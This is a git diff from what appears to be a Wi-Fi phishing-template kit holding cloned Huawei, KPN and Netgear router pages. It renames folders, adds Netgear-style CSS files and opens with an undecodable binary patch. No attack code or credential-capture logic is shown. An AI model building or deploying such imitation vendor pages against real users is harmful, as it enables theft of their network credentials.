zL2xOL%xxNZwzib6vC8&xihEKK`P;8tY!%22G8{v@%_B^MKP0Izl@vOqInTxBYeSo( z!U@7e_TTApo6lk;^BF*~mdoc?T(b<`v*UAe!W*-6G@lfIjW1a$ixs9kJNH%pa4*1l zsxb$DvIRWPw0U@+`CCPCqo!&|x?yizUlzTk4Onw>RcgXcF01MtsSDIh#p!-1I9w5- zcbZ>ko~m3ak?V8!Mv7&?!xR z^Kk6EFdI@LZghry@;qbJ4w_7IIP;NZ2Bx29V|(tQ&Fy8ex@URrRCEWgoJ@0f79P5! zpwML?9!U)zo+g%@oiFZVw=!sW#Tbvh75z@4DeU5$N?7(7BQg1?$y_kx;9K8}lpWHU zr3<3cSZ)==PU5)c!FWPeqahs6{J`nznON`RgXA$b=wE7OH*}9^JR4?CoBE7V>66z( zbN>X9Pv-GNxAf^UU1CB(Ca}{qc-s-gM!TqX==ha)Vz0&WTf!o^YJKy0waq#!h5Fex zW^sn;f<9MW)&S!~{GE)tk)kZ1X#vN4w(uUiDyw!WA|>R8%D%ILdC}PIQnItxGxlPj zDi>#__jS8PH0z8}{i26B{^4A)QPg9JOWrz5Jyz<_PA7TD7T8#FO-i!iD+!1tl)GYq zvooRbMyAdVe`ue!GFtOqSVTF1V3RAw@`dFI0QoImGH8m)GAJGFbXg17XWfUu_|lyF$| zF>RmrQ|!rAl+J)LIx18s)sWOsBcsljm99$0v;;q^D7cA0eR5kC(Vl!^ANDie)e%6;{|rM6=JIIv!i&j|50inuENfnv#gc;jtjW4uq7HHCVMk1gEOZbX~}ifX~-@frlDc z<@DG$09YGD-s~FgqJ*~0#Rd-vLqFC9g_O5qx0*bJe**1E+`=kMH?kfcS4=>4wBGQZ z)@@_<4uQM^x)b{nG1Wba@W)|5-Q;;osqB5*hWlEFU`Z~idhWeC?q|F_wLzU^4`r{r z1M5S__q`6B(cMf(*qJkE^awL?PD5Gb0&|)*&7wL^h?cbcK}#wTqXsQUhdvR4B3Bws zf@7dvCDK6U$nPFa@x6PcX4l#-Coq<;WD4~Gvh;Bi0k+%XW+NAL<~kxAhTXBIPxgOo z8Pn>dI-Lt#Z%r7669($e?C2pA$<`u0ciRG?!4ok^#yIDaQg2xum4{Nk;?)}|Wmvn(pb zHV%c3%>E{Ppo8jr@&$zTy34#s4*9d|nxu}Pp}kKziPz*x2>?%bcfav)bro|CYoIaC z&|D^{fao%l0~wAEnh@b}tPD!H4lPw;^i)|*Lz%qM_zgpYTUuOIMTWb2O_kn{fS7N@ zZM~Ot$begmWd`|v1$xmB`3-bItoe9>hjaa}yPMwhj}dbfpY*duC6TM#d7MA~usfem z)I_pCPf&kIN3%Dm(~?d|g-)aJ zA=Og_2EL>wZ6kbW(dbvH2hHIkdtTmYsUz`HZ|5p$qYXz1cnc)2nnvt*%YI&IjO<(?$pOXqJ*HRr*^2u5=S^9B>96NEwjZGtSm-NPvXf&a z@LBP;MB_*+)R?2Z$6CdYNCoqf=CHNDKTM^RA=^QL&GH>PB;#wvx~}2e5W>DVHFPRA z6+g|4(HRzYOv+puiF~vl$}ne#Ua+}c8&qWGdXK-hxhM#WJXoDDn`3q$=z0li(C3^g zKFgVnzPmiO=IP`o-9B5YYKr%@Bw5!3ACuohs)lO77u?w@<_oXQMWL_Pa!5VcjXRSqJ!j}_fH#(EGcbA zWjINuJgEgWQS>e3wbD&7^k*Z<6Y4B;fpI9ad<)+SV@03o4De$O{4K}>Kjv&?oNPNk zq0ZwuS)ppB>Mt+qUk^WZ(){pB5H-}wE>E9#?i5vRM!`!Y$hmD;pLhq~D9 zECL^h9T(UoH#Zp2or|qyzN~;l`!e^p2b~t;r4^n#Yvb_R><4MxH5NedD+md(RmWVJlPl?a}vHtCf*4vk4xoNcL=<)ZWnBY86&v{L-^g5n{#R$vL^1;*-iD~_6 zBHV6qy&Su~icGl%FX%**s_OZrD1%2m@xD zR=2m}dNNMWb&6qsOA2S$JPZik^dA*gWf~Ezc>d~kO=xDwoHU|ZGVX59+oOjsYZq`0 z$o7FjJUR)(*r}0vwz+rKi)1ZZDvqswZ&+O#d;rX=;qt=@nEoTf3hLs>2ZK98 zU9UzsubZpmpITVI@vDAXegEFV5*HNyLj%hVW&{1jNc=yUeE;03A$< z?+VLb@o)l`{~Qn04(^KN;TQN{AOeZ-i(HcZ10(eR3+cCA|2t5>&;4(}0{t&w34_Fh zF74(29jsrv{tsdOntKHc<8mqeE0g_dr2zmKKX;eopIYw!DD`{W`KQKDDe=qQA4vV9 zz*Wg#*E#FY`d`N{pBWCME(B7Wg%afY?Exo)CMW4GJg#5*8Hu8Rxs4#ey3M;uQfRAnqOz wBnk<1gIu+8Ig=d<3U?*o(1HUYSN$Qmf&4%(8-y#=)$x~Om!Gd!kemd60ZGT{F#rGn literal 0 HcmV?d00001 diff --git a/sites/HUAWEI-ENG/ayuda.htm b/sites/huawei_eng/ayuda.htm similarity index 100% rename from sites/HUAWEI-ENG/ayuda.htm rename to sites/huawei_eng/ayuda.htm diff --git a/sites/HUAWEI-ENG/background.png b/sites/huawei_eng/background.png similarity index 100% rename from sites/HUAWEI-ENG/background.png rename to sites/huawei_eng/background.png diff --git a/sites/HUAWEI-ENG/error.html b/sites/huawei_eng/error.html similarity index 100% rename from sites/HUAWEI-ENG/error.html rename to sites/huawei_eng/error.html diff --git a/sites/HUAWEI-ENG/final.html b/sites/huawei_eng/final.html similarity index 100% rename from sites/HUAWEI-ENG/final.html rename to sites/huawei_eng/final.html diff --git a/sites/HUAWEI-ENG/house.png b/sites/huawei_eng/house.png similarity index 100% rename from sites/HUAWEI-ENG/house.png rename to sites/huawei_eng/house.png diff --git a/sites/HUAWEI-ENG/house1.png b/sites/huawei_eng/house1.png similarity index 100% rename from sites/HUAWEI-ENG/house1.png rename to sites/huawei_eng/house1.png diff --git a/sites/HUAWEI-ENG/index.htm b/sites/huawei_eng/index.htm similarity index 100% rename from sites/HUAWEI-ENG/index.htm rename to sites/huawei_eng/index.htm diff --git a/sites/HUAWEI-ENG/info.css b/sites/huawei_eng/info.css similarity index 100% rename from sites/HUAWEI-ENG/info.css rename to sites/huawei_eng/info.css diff --git a/sites/HUAWEI-ENG/info.html b/sites/huawei_eng/info.html similarity index 100% rename from sites/HUAWEI-ENG/info.html rename to sites/huawei_eng/info.html diff --git a/sites/HUAWEI-ENG/info2.css b/sites/huawei_eng/info2.css similarity index 100% rename from sites/HUAWEI-ENG/info2.css rename to sites/huawei_eng/info2.css diff --git a/sites/KPN_NL/bg.png b/sites/kpn_nl/bg.png similarity index 100% rename from sites/KPN_NL/bg.png rename to sites/kpn_nl/bg.png diff --git a/sites/KPN_NL/error.html b/sites/kpn_nl/error.html similarity index 100% rename from sites/KPN_NL/error.html rename to sites/kpn_nl/error.html diff --git a/sites/KPN_NL/final.html b/sites/kpn_nl/final.html similarity index 100% rename from sites/KPN_NL/final.html rename to sites/kpn_nl/final.html diff --git a/sites/KPN_NL/index.html b/sites/kpn_nl/index.html similarity index 100% rename from sites/KPN_NL/index.html rename to sites/kpn_nl/index.html diff --git a/sites/KPN_NL/logo.png b/sites/kpn_nl/logo.png similarity index 100% rename from sites/KPN_NL/logo.png rename to sites/kpn_nl/logo.png diff --git a/sites/Login-Netgear/Login-Netgear.zip b/sites/netgear/Login-Netgear.zip similarity index 100% rename from sites/Login-Netgear/Login-Netgear.zip rename to sites/netgear/Login-Netgear.zip diff --git a/sites/Login-Netgear/Login-Netgear.zip_base64.txt b/sites/netgear/Login-Netgear.zip_base64.txt similarity index 100% rename from sites/Login-Netgear/Login-Netgear.zip_base64.txt rename to sites/netgear/Login-Netgear.zip_base64.txt diff --git a/sites/Login-Netgear/adv-wifi.htm b/sites/netgear/adv-wifi.htm similarity index 100% rename from sites/Login-Netgear/adv-wifi.htm rename to sites/netgear/adv-wifi.htm diff --git a/sites/netgear/css/MNUAccess.css b/sites/netgear/css/MNUAccess.css new file mode 100644 index 0000000..c1e5482 --- /dev/null +++ b/sites/netgear/css/MNUAccess.css @@ -0,0 +1,27 @@ +.MNUTitle +{ + font-family: Arial, Helvetica, sans-serif; + font-size:18px; + height:25px; + color:#0099cc; + width:600px; + padding-left:20px; + font-weight:bold; +} + +.MNUText{ + font-family: Arial, Helvetica, sans-serif; + font-size:12px; + height:25px; + color:#404040; + font-weight:bold; +} +.MNUTitle2 +{ + font-family: Arial, Helvetica, sans-serif; + font-size:18px; + height:25px; + color:#0707DD; + width:600px; + font-weight:bold; +} diff --git a/sites/netgear/css/button.css b/sites/netgear/css/button.css new file mode 100644 index 0000000..d48eae8 --- /dev/null +++ b/sites/netgear/css/button.css @@ -0,0 +1,175 @@ + +button { + border: 0; + cursor: pointer; + overflow: visible; /* removes extra side padding in IE */ +} + +button:active{ + -ms-background-position-x:1px; + -ms-background-position-y:1px; +} + + +.button-grey span.roundleft_grey{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_grey.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + +.roundleft_grey{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_grey.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + + +.roundright_grey{ + padding: 3px 5px 5px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_grey.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; +} + +.button-grey{ + padding: 5px 0px 5px 0px; + margin:0px; + border:0px; + height:25px; + font-size:11px; + font-family:Arial; + background: transparent; +} + +.roundleft_button{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_button.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + +.button-rule span.roundleft_button{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_button.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + +.roundright_button{ + padding: 3px 5px 5px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_button.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; +} + +.button-rule{ + padding: 5px 0px 5px 0px; + margin:0px; + border:0px; + height:25px; + font-size:11px; + font-family:Arial; + background: transparent; +} + +.button-apply span.roundleft_apply{ + padding: 3px 0 5px 20px; + width:20px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_apply.gif") no-repeat left 0px ; + color:#F2F2F2; + white-space:nowrap; +} + +.roundright_apply{ + padding: 3px 0px 5px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_apply.gif") no-repeat right top; + color:#F2F2F2; + white-space:nowrap; +} + +.button-apply{ + padding: 5px 0px 5px 0px; + margin:0px; + height:25px; + font-size:11px; + font-family:Arial; + background: transparent; +} + + +.button-help-arrow{ + float:left; + margin-left:-30px; + padding-top:2px; +} + +.button-help-arrow a:hover{ + cursor:pointer; +} + +.refresh-icon{ + background-image:url('../img/refresh-icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.cancel-icon{ + background-image:url('../img/cancel_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.add-icon{ + background-image:url('../img/add_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} +.apply-icon{ + background-image:url('../img/apply_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.edit-icon{ + background-image:url('../img/edit_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.apply_bt{ height: 22px; color: #f2f2f2; font-family: Arial; font-weight: Bold; font-size: 14px; background-color: transparent; border: none; cursor: pointer; padding-bottom: 2px;} +.apply_bt{width: 130px; background: url(../img/_m_upgrade.gif) no-repeat;} diff --git a/sites/netgear/css/help.css b/sites/netgear/css/help.css new file mode 100644 index 0000000..d21eba1 --- /dev/null +++ b/sites/netgear/css/help.css @@ -0,0 +1,67 @@ +.help-text{ + font-family:Arial; +} + +h1{ + font-size:16px; + color:#989dff; + font-weight:bold; +} + + +h2{ + font-size:16px; + color:#ffffff; + font-weight:bold; +} + + +font,b{ + color:#989dff; +} + +p{ + font-size:12px; +} + + +p.inline{ + display:inline; +} + + + +body{ + font-family:Arial; + background-color:#202020; + color:#E0E0E0; + width:100%; + height:100%; + overflow:no; + font-size:12px; + + scrollbar-track-color:#767676; + scrollbar-arrow-color:#E0E0E0; + scrollbar-face-color:#E0E0E0; + scrollbar-3dlight-color:#E0E0E0; + scrollbar-highlight-color:#E0E0E0; + scrollbar-shadow-color:#E0E0E0; + scrollbar-darkshadow-color:#E0E0E0; + + +} + +li{ + font-size:12px; +} + +ul{ + font-size:12px; +} + + +b#italic{ + overflow:auto; + font-size:12px; + color:#E0E0E0; +} diff --git a/sites/netgear/css/jScrollPane.css b/sites/netgear/css/jScrollPane.css new file mode 100644 index 0000000..32abe1b --- /dev/null +++ b/sites/netgear/css/jScrollPane.css @@ -0,0 +1,64 @@ +.jScrollPaneContainer { + position: relative; + overflow: hidden; + z-index: 1; +} + +.jScrollPaneTrack { + position: absolute; + cursor: pointer; + right: 0; + top: 0; + height: 100%; + background: #aaa; +} +.jScrollPaneDrag { + position: absolute; + background: #666; + cursor: pointer; + overflow: hidden; +} +.jScrollPaneDragTop { + position: absolute; + top: 0; + left: 0; + overflow: hidden; +} +.jScrollPaneDragBottom { + position: absolute; + bottom: 0; + left: 0; + overflow: hidden; +} +a.jScrollArrowUp { + display: block; + position: absolute; + z-index: 1; + top: 0; + right: 0; + text-indent: -2000px; + overflow: hidden; + /*background-color: #666;*/ + height: 9px; +} +a.jScrollArrowUp:hover { + /*background-color: #f60;*/ +} + +a.jScrollArrowDown { + display: block; + position: absolute; + z-index: 1; + bottom: 0; + right: 0; + text-indent: -2000px; + overflow: hidden; + /*background-color: #666;*/ + height: 9px; +} +a.jScrollArrowDown:hover { + /*background-color: #f60;*/ +} +a.jScrollActiveArrowButton, a.jScrollActiveArrowButton:hover { + /*background-color: #f00;*/ +} \ No newline at end of file diff --git a/sites/netgear/css/jquery.flexbox.css b/sites/netgear/css/jquery.flexbox.css new file mode 100644 index 0000000..11bf180 --- /dev/null +++ b/sites/netgear/css/jquery.flexbox.css @@ -0,0 +1,83 @@ +/* Input textbox - do not specify a width here, it will be overwritten */ +.ffb-input +{ + float:left; + color:#000; /* must specify along with watermark color */ + height:16px; /* required for webkit browsers (Safari, Chrome) */ +} +/* Color of watermark, if present */ +.ffb-input.watermark { /* added and removed dynamically */ + color:#888; /* must specify along with input color */ +} +/* Drop-down arrow, with sprited image */ +.ffb-arrow +{ + float:left; + width:18px; + height:22px; + background-image:url(../img/sel_win7.gif); +} +.ffb-arrow.out { /* css sprite technique */ + background-position:0; +} +.ffb-arrow.over { /* css sprite technique */ + background-position:-18px 0; +} +.ffb-arrow.active { /* css sprite technique */ + background-position:-35px 0; +} +.ffb-no-results +{ + padding:2px; + color:#888; + font-style:italic; + border-bottom:1px solid #828790; +} +/* Container for dropdown contents */ +.ffb { + position:absolute; /* this guy's parent div is hard-coded to position:relative */ + overflow:hidden; + border-left:1px solid #828790; /* #7B9EBD for Vista */ + border-right:1px solid #828790; + background-color:#fff; /* Give it a background-color, so it's not transparent */ +} +/* Inner div for dropdown */ +.ffb .content { + overflow:auto; +} +.ffb .content .row { + border-bottom:0px ; + color:#000; + height:20px; + clear:both; +} +.ffb-sel { + cursor:pointer; + cursor:hand; + color:#fff !important; + background-color:#39f; +} +.ffb-match { + font-weight:bold; + color:#000; +} + +/* Paging */ +.ffb .paging { + vertical-align:middle; + border-bottom:1px solid #828790; +} +.ffb .page, .ffb a.page { + font-size:85%; + padding:2px; + border:solid 1px #339; + background-color:#eef; + margin:2px; +} +.ffb .box { + width:22px; + margin:2px; +} +.ffb .summary { + font-size:85%; +} \ No newline at end of file diff --git a/sites/netgear/css/jquery.jscrollpane.css b/sites/netgear/css/jquery.jscrollpane.css new file mode 100644 index 0000000..a051cae --- /dev/null +++ b/sites/netgear/css/jquery.jscrollpane.css @@ -0,0 +1,120 @@ +/* + * CSS Styles that are needed by jScrollPane for it to operate correctly. + * + * Include this stylesheet in your site or copy and paste the styles below into your stylesheet - jScrollPane + * may not operate correctly without them. + */ + +.jspContainer +{ + overflow: hidden; + position: relative; +} + +.jspPane +{ + position: absolute; +} + +.jspVerticalBar +{ + position: absolute; + top: 0; + right: 0; + width: 16px; + height: 100%; + background: red; +} + +.jspHorizontalBar +{ + position: absolute; + bottom: 0; + left: 0; + width: 100%; + height: 16px; + background: red; +} + +.jspVerticalBar *, +.jspHorizontalBar * +{ + margin: 0; + padding: 0; +} + +.jspCap +{ + display: none; +} + +.jspHorizontalBar .jspCap +{ + float: left; +} + +.jspTrack +{ + background: #dde; + position: relative; +} + +.jspDrag +{ + background: #bbd; + position: relative; + top: 0; + left: 0; + cursor: pointer; +} + +.jspHorizontalBar .jspTrack, +.jspHorizontalBar .jspDrag +{ + float: left; + height: 100%; +} + +.jspArrow +{ + background: #50506d; + text-indent: -20000px; + display: block; + cursor: pointer; +} + +.jspArrow.jspDisabled +{ + cursor: default; + background: #80808d; +} + +.jspVerticalBar .jspArrow +{ + height: 16px; +} + +.jspHorizontalBar .jspArrow +{ + width: 16px; + float: left; + height: 100%; +} + +.jspVerticalBar .jspArrow:focus +{ + outline: none; +} + +.jspCorner +{ + background: #eeeef4; + float: left; + height: 100%; +} + +/* Yuk! CSS Hack for IE6 3 pixel bug :( */ +* html .jspCorner +{ + margin: 0 -3px 0 0; +} \ No newline at end of file diff --git a/sites/netgear/css/mainpage.css b/sites/netgear/css/mainpage.css new file mode 100644 index 0000000..45a70d9 --- /dev/null +++ b/sites/netgear/css/mainpage.css @@ -0,0 +1,182 @@ +html, body { + margin: 0; + padding: 0; + background-color:#e5e5e5; + min-height:600px; + } + + h1{ + padding-left:37%; + font-size:16px; + font-family:arial; + } + + h2{ + padding-left:20%; + font-size:14px; + font-family:arial; + } + + hr{ + border:none; + border-top:1px solid black; + height:0; + } + +.topframe{ + background-color:#2b2b2b; + color:#ffffff; + font-size:12px; + font-family:Arial; + margin:0; + padding: 0; +} + +.newtopframe{ + background-color:#ffffff; + color:#000000; + font-size:12px; + font-family:Arial; + margin:0; + padding: 0; +} + + +.WNRTitle{ + font-family:Arial; + padding-top:0px; + padding-bottom:0px; + margin-top: 0px; + padding-left:15px; + font-weight:bold; + font-size:12px; +} + + + + + +.main-page-bottom-table{ + #padding-left:20px; + margin-top:15px; + margin-left:20px; + height:20px; + width:95%; + border-collapse:collapse; +} + + +.main-page-help-support-text{ + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + color:#FFFFFF; + font-size:14px; + font-weight:bold; + } + + +.main-page-bottom-text{ + margin:0px; + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + color:#C0C0C0; + font-size:12px; + font-weight:Normal; + border-left-style:solid; + border-color:#EEEEEE; + border-left-width:1px; +} + + +.main-page-search-go{ + background-image:url(../img/search-go.gif); + background-repeat:no-repeat; + border-style: none; + background-color:#373737; + width:35px; + margin-left:3px; + height:20px; + font-family:arial; + color:#ffffff; + font-weight:bold; +} + +.main-page-contain{ + #background-image:url(../frame_back.jpg); + background-repeat:no-repeat; +} + +.main-page-contain2{ + #background-image:url(../frame_back2.jpg); + background-repeat:no-repeat; +} + +.main-page-contain-loading{ + background-image:url(../ajax-loader.gif); + background-repeat:no-repeat; + background-position:45% 40%; +} + +.selectbox{ + background-color:#ffffff; + color:#373737; + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + font-weight:bold; +} + +div#preloaded-images { + position: absolute; + overflow: hidden; + left: -9999px; + top: -9999px; + height: 1px; + width: 1px; +} + + +.pointer-cursor{ + cursor: pointer; +} + +.default-cursor{ + cursor: auto; +} + + + + + +#top{_width: 1440px; min-width: 820px; height: 97px; position: absolute; left: 20px; right: 20px; } +#topframe{width: 100%; height: 97px; } + +#middle{ width: 100%; min-height:455px; _height: 795px; position:absolute; top:5px; bottom:0px; left: 0; right: 0; } + +#menu{ float: left; width: 195px; font-family: Arial; font-weight: Bold; font-size: 15px; text-align: left; position:absolute; top:0; bottom:45px;} + +#menu .basic_button{margin-bottom: 5px; width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_white.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer; overflow:hidden;} +#menu .basic_button_big{margin-bottom: 5px; width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/basic_menu_white_big.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer;} +#menu .basic_button_big_grey{margin-bottom: 5px; width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/basic_menu_grey_big.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer;} +#menu .basic_button_purple{margin-bottom: 5px; width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_purple.gif); background-repeat: no-repeat; color: #ffffff;} +#menu .basic_button_big_purple{margin-bottom: 5px; width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/baisc_menu_white_big_purple.gif); background-repeat: no-repeat; color: #ffffff;} +#menu .basic_button_grey{margin-bottom: 5px; width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_grey.gif); background-repeat: no-repeat; color: #808080;} + +#menu .basic_button span, #menu .basic_button_purple span, #menu .basic_button_big span, #menu .basic_button_big_purple span, #menu .basic_button_big_grey span{ display:-moz-inline-box; display:inline-block; width:160px; } +#menu .basic_button b, #menu .basic_button_purple b, #menu .basic_button_grey b{margin:auto 5px; line-height:28px;} +#menu .basic_button_big b, #menu .basic_button_big_purple b , #menu .basic_button_big_grey b{margin:auto; line-height:22px; width:10px;} + +#formframe_div{float: left; min-width: 625px; _width: 1245px; min-height: 410px; _height: 707px; position:absolute; top:0; bottom:45px; left:200px; right: 0; } +.container_center{width:910px; min-width:910px; position:absolute; top:610px; bottom:0; left: 20px; right: 20px; } +.footer{ width: 100%; height: 43px; float: left; color: #ffffff; position:absolute; bottom:0px; } +.footer_double{ width: 100%; height: 86px; color: #ffffff; position:absolute; bottom:0px; } +.footer_img { width: 100%; height: 100%; } +.footer b, .footer_double b{font: bold 16px arial;} +.footer a, .footer_double a{ color: #ffffff; font: normal 11px arial; text-decoration: none;} + +.footer #support{ float:left; line-height: 42px; position: absolute; left: 10px; top: 0; } +.footer_double #support{ line-height: 42px; position: absolute; left: 10px; top: 0;} +.footer #search{ float: right; position: absolute; top: 10px; right: 10px;} +.footer_double #search{ float: right; position: absolute; bottom: 10px; right: 10px;} + +#footer #search .search_button{background: Transparent url(../img/search_button.gif ) no-repeat; border: none; width:39px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; } +#footer #search .search_button_middle{background: Transparent url(../img/search_button_middle.gif ) no-repeat; border: none; width:65px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; } +#footer #search .search_button_long{background: Transparent url(../img/search_button_long.gif ) no-repeat; border: none; width:95px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; } + + diff --git a/sites/netgear/css/menu.css b/sites/netgear/css/menu.css new file mode 100644 index 0000000..307f8da --- /dev/null +++ b/sites/netgear/css/menu.css @@ -0,0 +1,508 @@ +/* tab pane styling */ + +body { + width:100%; +} + + +.panes div { + + display:none; + width:100%; + height:100%; + border:0; + border-top:0; + font-size:14px; + background-color:#E5E5E5; +} + +.panes{ + + display:none; + width:100%; + height:100%; + border:0; + border-top:0; + font-size:14px; + background-color:#E5E5E5; +} +.basic-menu{ + margin:0px; + margin-left:10px; + margin-top:20px; + color:#4e4e4e; + background-color:#E5E5E5; + height:480px; + width:200px; +} + +.basic-menu-div{ + list-style:none; + margin-left:0px; + height:30px; + width:200px; + background-color:#E5E5E5; + background: url("../img/basic-white-button.gif") no-repeat left top; +} + +.basic-menu-div span{ + color: #4C4C4C; + margin-left:10px; + float:left; + width:180px; + padding-top:4px; + background: url("../img/barrow.jpg") no-repeat 165px 8px; +} + +.basic-menu-div a{ + text-decoration:none; + color:#4e4e4e; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; +} + +.basic-menu-div a:hover{ + text-decoration:none; + color:#4e4e4e; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; + cursor:pointer; +} + +.basic-menu-eco-div{ + list-style:none; + margin-left:0px; + height:30px; + width:200px; + background-color:#E5E5E5; + background: url("../img/basic-green-button.gif") no-repeat left top; +} + +.basic-menu-eco-div span{ + color: #000000; + margin-left:10px; + float:left; + width:180px; + padding-top:5px; + background: url("../img/barrow.gif") no-repeat 165px 8px; +} + +.basic-menu-eco-div a{ + text-decoration:none; + color:#000000; + font-weight:bold; + background-color:#E5E5E5; + padding-top:6px; +} + +.basic-menu-eco-div a:hover{ + text-decoration:none; + color:#000000; + font-weight:bold; + background-color:#E5E5E5; + padding-top:6px; + cursor:pointer; +} + +.basic-menu-div-gray{ + list-style:none; + margin-left:0px; + height:30px; + width:200px; + background-color:#E5E5E5; + background: url("../img/gray-button.gif") no-repeat; + +} + +.basic-menu-div-gray span{ + + margin-left:10px; + float:left; + width:180px; + color:#767676; + padding-top:4px; + background: url("../img/barrow.gif") no-repeat 165px 8px; +} + +.basic-menu-div-gray a{ + text-decoration:none; + color:#ffffff; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; +} + +.basic-menu-div-gray a:hover{ + text-decoration:none; + color:#4e4e4e; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; + cursor:pointer; +} + +.menuActive{ + list-style:none; + height:30px; + width:200px; + background: url("../img/basic-purple-button.gif") no-repeat left top; +} + + +.menuActive a{ + text-decoration:none; + color:#ffffff; + font-weight:bold; +} + +.menuActive span{ + float:left; + color:#ffffff; + background: url("../img/warrow.jpg") no-repeat 165px 8px; +} + + +.advance-menu{ + padding:0; + margin:0; + color:#4e4e4e; + font-family:arial; + list-style:none; + margin-top:20px; + margin-left:10px; + font-size:12px; + height:480px; + width:200px; +} + +.advance-menu ul{ + + margin:0; + padding:0; + +} + +.advance-menu li{ + zoom:1; + vertical-align:middle; +} + +.advance-menu li.noSub{ + margin:0; + padding:0; + height:24px; + padding-top:4px; + background: url("../img/roundedcornr_637010.gif") no-repeat; + +} + +.advance-menu li.noSubLarge{ + margin:0; + padding:0; + height:40px; + padding-top:4px; + background: url("../img/basic-black-button-large.gif") no-repeat; + +} + + .advance-menu li.noSubActive{ + padding:0; + height:24px; + padding-top:4px; + background: url("../img/basic-purple-button.gif") no-repeat; + } + + .advance-menu li.noSubActiveLarge{ + padding:0; + height:40px; + padding-top:4px; + background: url("../img/basic-purple-button-large.gif") no-repeat; + } + +.advance-menu li.noSubGray{ + margin:0; + padding:0; + height:24px; + padding-top:4px; + background: url("../img/gray-button.gif") no-repeat; + color:#767676; +} + +.advance-menu li.noSubGrayLarge{ + margin:0; + padding:0; + height:40px; + padding-top:4px; + background: url("../img/basic-gray-button-large.gif") no-repeat; + color:#767676; +} + + .advance-menu li.SubActive{ + margin:0; + padding:0; + height:28px; + color:#4e4e4e; + padding-top:4px; + padding-left:5px; + width:200px; + background: url("../img/basic-white-button.gif") no-repeat; +} + + +.advance-menu li.SubActive span{ + margin-left:5px; + padding:0px; + float:left; + width:200px; + color:#4e4e4e; + padding-left:10px; + background: url("../img/barrow_down.jpg") no-repeat 0px; +} + + +.advance-menu li.noSub span{ + float:left; + width:180px; + color:#ffffff; + margin-left:10px; +} + +.advance-menu li.noSubLarge span{ + float:left; + width:180px; + color:#ffffff; + margin-left:10px; +} + +.advance-menu li.noSubGray span{ + float:left; + width:180px; + color:#767676; + margin-left:10px; +} + +.advance-menu li.noSubGrayLarge span{ + float:left; + width:180px; + color:#767676; + margin-left:10px; +} + +.advance-menu li.Sub{ + margin:0; + padding:0; + height:25px; + color:#4e4e4e; + padding-top:2px; + background: url("../img/basic-white-button.gif") no-repeat; +} + + +.advance-menu li.Sub span{ + float:left; + width:200px; + color:#4e4e4e; + padding-left:10px; + background: url("../img/barrow.jpg") no-repeat 0px; + margin-left:10px; +} + + + +.advance-menu li.SubMenu{ + margin:0; + padding:0; + height:18px; + color:#4e4e4e; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenu span{ + text-decoration:underline; + float:left; + width:170px; + padding-top:0px; + color:#4e4e4e; + padding-left:20px; + +} + +.advance-menu li.SubMenu{ + margin:0; + padding:0; + height:17px; + color:#4e4e4e; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + +.advance-menu li.SubMenuDisable{ + margin:0; + padding:0; + height:20px; + color:#adadad; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenuDisable span{ + float:left; + width:170px; + padding-top:0px; + color:#adadad; + background:#e5e5e5; + padding-left:20px; + +} + + +.advance-menu li.SubMenuLarge{ + margin:0; + padding:0; + height:32px; + color:#4e4e4e; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenuLarge span{ + text-decoration:underline; + float:left; + width:170px; + padding-top:0px; + color:#4e4e4e; + background:#e5e5e5; + padding-left:20px; + +} + +.advance-menu li.SubMenuLargeDisable{ + margin:0; + padding:0; + height:32px; + color:#adadad; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + 